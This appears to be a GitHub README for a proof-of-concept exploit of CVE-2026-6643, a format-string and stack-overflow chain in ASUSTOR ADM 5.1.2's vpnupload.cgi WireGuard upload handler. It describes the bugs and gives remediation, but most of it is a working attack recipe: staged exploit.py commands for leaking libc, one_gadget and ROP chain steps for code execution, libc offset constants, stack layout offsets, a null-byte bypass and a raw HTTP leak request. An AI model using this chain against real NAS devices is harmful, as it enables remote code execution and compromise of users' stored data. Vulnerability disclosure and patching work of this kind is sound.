mlgzackfly/CVE-2026-6643
GitHub: mlgzackfly/CVE-2026-6643
针对ASUSTOR ADM 5.1.2 vpnupload.cgi的格式化字符串与栈溢出组合利用PoC,实现认证后远程代码执行。
Stars: 0 | Forks: 0
# CVE-2026-6643 — ASUSTOR ADM 5.1.2 RCE
`vpnupload.cgi` 中的格式化字符串 (CWE-134) + 栈缓冲区溢出 (CWE-121)
## 漏洞概述
| 字段 | 值 |
|-------|-------|
| 产品 | ASUSTOR ADM (ASUSTOR Data Master) |
| 受影响版本 | ADM 5.1.2.REO1 (X64_G3, 2026-02-25) |
| 组件 | `/portal/apis/settings/vpnupload.cgi` — `upload_wireguard` 操作 |
| 漏洞类型 | CWE-134 格式化字符串 / CWE-121 栈缓冲区溢出 |
| 严重程度 | 高 |
| 需要认证 | 是 (有效的 `Revive_Session` cookie) |
| 发现日期 | 2026-03-14 |
## 漏洞详情
### 漏洞 A — 格式化字符串 (CWE-134)
`upload_wireguard` 处理程序解析 WireGuard 配置文件,将各个字段组装成一个 JSON 对象,然后直接将结果作为格式化字符串参数传递给 `printf()`:
```
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2); // user-controlled format string
```
攻击者可以在任何 WireGuard 配置字段中嵌入 printf 格式说明符:
- `%x` / `%p` — 读取栈内存 (信息泄露)
- `%n` — 写入任意内存 (通过覆盖 GOT 实现代码执行)
### 漏洞 B — 栈缓冲区溢出 (CWE-121)
同一个处理程序使用无限制的 `sscanf("%s")` 将配置值复制到 300 字节的栈缓冲区中,而 `fgets` 每行最多接受 32,768 字节:
```
__isoc23_sscanf(__s, "PrivateKey = %s", local_ac4); // 300B
__isoc23_sscanf(__s, "Endpoint = %s", local_164); // 300B
// 8 fields total; only DNS has a length limit
```
提供超过 300 字节的数据会溢出到相邻的缓冲区。当达到 4,000 字节时,保存的 RIP 会被破坏,从而导致 SIGSEGV。
### 二进制保护机制
| 保护机制 | 状态 | 影响 |
|-----------|--------|--------|
| FORTIFY_SOURCE | **已禁用** | 使用 `printf` (而非 `__printf_chk`) — `%n` 写入有效 |
| Stack Canary | **已禁用** | 无需泄露 Canary |
| PIE | **已禁用** | GOT 和 gadget 地址是静态的 |
| RELRO | 部分 | **GOT 可写** |
## 漏洞利用链
```
Step 1 Format string %x → Leak stack memory, recover libc base
Step 2 Endpoint overflow → Overwrite saved RIP with one-gadget / system()
Step 3 execve("/bin/sh") → Shell as the web server user
```
### 为什么 Endpoint 是最佳的溢出目标
`local_164` (Endpoint 缓冲区) 位于 `rbp-0x164`,是八个缓冲区中最靠近保存的返回地址的一个:
```
Stack layout (Ghidra):
local_ac4 PrivateKey rbp-0xac4 300B
local_998 Address rbp-0x998 300B
local_86c PublicKey rbp-0x86c 300B
local_740 ListenPort rbp-0x740 300B
local_4e8 PresharedKey rbp-0x4e8 300B
local_3bc AllowedIPs rbp-0x3bc 300B
local_290 PersistentKeepalive rbp-0x290 300B
local_164 Endpoint rbp-0x164 300B ← target
saved RBP rbp+0x000
saved RIP rbp+0x008 ← 0x164 + 8 = 364 bytes away
```
### 空字节绕过
`sscanf("%s")` 在遇到空字节时停止复制。小端序下的 libc 地址 (`0x7f...`) 以两个空字节结尾。然而,任何保存的 RIP 的高位两个字节本身已经是 `0x0000`,因此即使 `sscanf` 提前终止,写入也能正确定位:
```
one_gadget address 0x00007f1234567890 (little-endian):
\x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
^--- sscanf stops here
but these bytes were already 0x00 → correct
```
所有中间的 ROP gadget 也必须来自 libc (`0x7f...` 范围),以避免嵌入空字节。只有链中的最后一个值可以以空字节结尾。
## 环境要求
```
uv add requests
```
## 使用方法
### 步骤 1 — 检测格式化字符串参数偏移量
```
uv run exploit.py '' --stage offset
```
示例输出:
```
[*] Detecting format string argument offset...
[+] Offset: 8 (echo: AAAA.41414141...)
```
### 步骤 2 — 泄露 libc 基址
```
uv run exploit.py '' --stage leak --fmt-offset 8
```
示例输出:
```
[+] Stack dump (args 8..47):
[ 8] 0x0000000000000000
[ 9] 0x00007f8b2c3d4e5f ← libc candidate
...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
Subtract the known offset of whichever symbol this is:
libc_base = 0x7f8b2c3d4e5f -
```
识别符号并计算 libc 基址:
```
readelf -s libc.so.6 | grep -w __libc_start_main
# 例如,偏移量 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f
```
### 步骤 3 — RCE
```
# 首先尝试 one_gadget (使用 one_gadget 工具获取正确的偏移量)
uv run exploit.py '' --stage rce --libc-base 0x7f8b2c000000
# 如果 one_gadget 失败,则退回到 pop rdi + system() ROP chain
uv run exploit.py '' --stage rce-rop --libc-base 0x7f8b2c000000
```
### 步骤 4 — 运行命令 (在覆盖 GOT 之后)
```
uv run exploit.py '' --stage shell --cmd 'id'
```
## 获取 libc 偏移量
从固件镜像中提取 `libc.so.6`,然后运行:
```
# system() 偏移量
readelf -s libc.so.6 | grep -w system
# /bin/sh 字符串偏移量
strings -a -t x libc.so.6 | grep '/bin/sh'
# one_gadget 偏移量
one_gadget libc.so.6 # gem install one_gadget
```
更新 `exploit.py` 中的常量:
```
LIBC_SYSTEM = 0x055410
LIBC_BINSH = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]
```
## 概念验证
### 格式化字符串泄露
```
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie:
Content-Type: multipart/form-data; boundary=BOUND
--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"
dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"
[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1
[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--
```
响应 (clientprivatekey 字段):
```
AAAA_feebd19f_0000012b_0000007d_00000002
```
### 栈缓冲区溢出 (崩溃)
将 `PrivateKey` 设置为 4,000 字节 → SIGSEGV (退出代码 139)。
## 修复方案
| 漏洞 | 修复方法 |
|--------------|-----|
| 格式化字符串 | 将 `printf(pcVar2)` 替换为 `printf("%s", pcVar2)` 或 `fputs(pcVar2, stdout)` |
| 缓冲区溢出 | 为所有 `sscanf` 格式化字符串添加长度限制 (例如,对于 300 字节的缓冲区使用 `%299s`) |
## 测试环境
- 固件:`X64_G3_5.1.2.REO1.img` — 从镜像中提取了 `vpnupload.cgi`
- 平台:x86-64 Linux,使用固件自带的 `ld-linux` 和共享库
- 认证绕过:在偏移量 `0x1224` 处打单字节补丁 `je` → `jmp` (仅用于本地测试)
## 参考文献
- **研究文章:** https://blog.mlgzackfly.tw/cve-2026-6643/
## 免责声明
此漏洞利用程序仅用于安全研究和授权测试。未经明确许可,请勿将其用于任何系统。
标签:ASUSTOR ADM, CISA项目, CVE-2026-6643, CWE-121, CWE-134, EXP, NAS安全, PoC, RCE, vpnupload.cgi, Web安全, WireGuard, 二进制安全, 云资产清单, 内存破坏, 协议分析, 暴力破解, 权限提升, 栈缓冲区溢出, 格式化字符串漏洞, 漏洞分析, 编程工具, 网络安全, 蓝队分析, 路径探测, 远程代码执行, 逆向工具, 逆向工程, 隐私保护